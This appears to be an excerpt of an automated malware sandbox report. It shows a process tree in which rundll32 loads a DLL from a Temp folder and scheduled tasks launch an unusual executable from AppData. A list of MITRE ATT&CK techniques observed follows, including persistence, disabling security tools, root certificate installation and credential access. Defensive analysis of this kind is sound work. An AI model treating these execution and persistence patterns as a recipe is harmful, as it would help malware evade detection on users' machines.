C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2440
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1768

C:\Windows\system32\taskeng.exe
taskeng.exe {52157865-5308-46AC-9D2E-CED70EF5F680} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:1700
- C:\Users\Admin\AppData\Roaming\drtdauw
  C:\Users\Admin\AppData\Roaming\drtdauw
  2⤵
  PID:1380
- C:\Program Files\Mozilla Firefox\default-browser-agent.exe
  "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
  2⤵
  PID:2104

C:\Windows\system32\taskeng.exe
taskeng.exe {0B8A62E8-E85F-4BE5-9089-65DC0BB8D296} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery